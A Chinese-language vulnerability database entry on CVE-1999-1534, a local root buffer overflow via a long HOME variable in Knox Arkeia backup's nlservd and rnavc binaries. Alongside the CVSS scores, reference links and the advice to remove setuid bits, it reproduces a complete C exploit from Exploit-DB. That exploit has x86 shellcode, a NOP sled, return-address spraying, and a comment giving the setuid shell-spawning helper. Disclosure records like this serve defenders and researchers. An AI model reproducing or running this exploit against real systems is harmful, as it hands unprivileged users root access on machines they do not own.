CVE-1999-1534
CVSS7.2
发布时间 :1999-09-23 00:00:00
修订时间 :2016-10-17 22:05:36
NMCOES    

[原文]Buffer overflow in (1) nlservd and (2) rnavc in Knox Software Arkeia backup product allows local users to obtain root access via a long HOME environmental variable.


[CNNVD]Arkiea Backup rnavc & nlserverd HOME 环境变量缓冲区溢出漏洞(CNNVD-199909-045)

        Knox Software Arkeia备份产品的(1) nlservd 和 (2) rnavc中存在缓冲区溢出漏洞。本地用户通过一个长HOME环境变量获得根访问权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1534
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1534
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199909-045
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=93837184228248&w=2
(UNKNOWN)  BUGTRAQ  19990923 Multiple vendor Knox Arkiea local root/remote DoS
http://www.securityfocus.com/bid/661
(VENDOR_ADVISORY)  BID  661

- 漏洞信息

Arkiea Backup rnavc & nlserverd HOME 环境变量缓冲区溢出漏洞
高危 缓冲区溢出
1999-09-23 00:00:00 2005-10-20 00:00:00
本地  
        Knox Software Arkeia备份产品的(1) nlservd 和 (2) rnavc中存在缓冲区溢出漏洞。本地用户通过一个长HOME环境变量获得根访问权限。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.
        In the mean time turn off the setuid bits from the rnavc and nlservd executables.

- 漏洞信息 (19511)

Knox Software Arkeia 4.0 Backup Local Overflow (EDBID:19511)
linux local
1999-09-26 Verified
0 Brock Tellier
N/A [点击下载]
Knox Software Arkeia 4.0 Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow

source: http://www.securityfocus.com/bid/661/info

A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea backup application allow local users to obtain root access.

/*
 * nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2
 * exploits Arkiea's Knox backup package.
 * gcc -o knox knox.c
 * ./knox <offset> <buflen>
 *
 *
 * NOTE: you *MUST* have void main(){setuid(geteuid());
system("/bin/bash");}
 *       compiled in /tmp/ui for this to work.
 *
 * To exploit rnavc, simply change the execl call to
("/usr/bin/knox/rnavc",
 *                                                  "rnavc", NULL)
 * -Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/ui";



#define LEN 2000
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=2800;
   buflen=1200;

 }


addr=get_sp();

fprintf(stderr, "Arkiea Knox backup package exploit\n");
fprintf(stderr, "For nlservd and rnavc\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

setenv("HOME", buf, 1);
execl("/usr/knox/bin/nlservd", "nlservd", NULL);


}

		

- 漏洞信息

11507
Arkeia Backup Service rnavc Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified, Uncoordinated Disclosure

- 漏洞描述

- 时间线

1999-09-23 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Arkiea Backup rnavc & nlserverd HOME Environment Variable Buffer Overflow Vulnerability
Boundary Condition Error 661
No Yes
1999-09-26 12:00:00 2009-07-11 12:56:00
This vulnerability was found by Brock Tellier <btellier@webley.com>.

- 受影响的程序版本

Knox Software Arkeia 4.0
+ S.u.S.E. Linux 6.2

- 漏洞讨论

A local buffer overflow in the handling of the HOME environment variable by the rlserver and rnavc binaries that are part of the Knox Software Arkiea backup application allow local users to obtain root access.

- 漏洞利用

An exploit has been made available.

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

In the mean time turn off the setuid bits from the rnavc and nlservd executables.

- 相关参考

 

 

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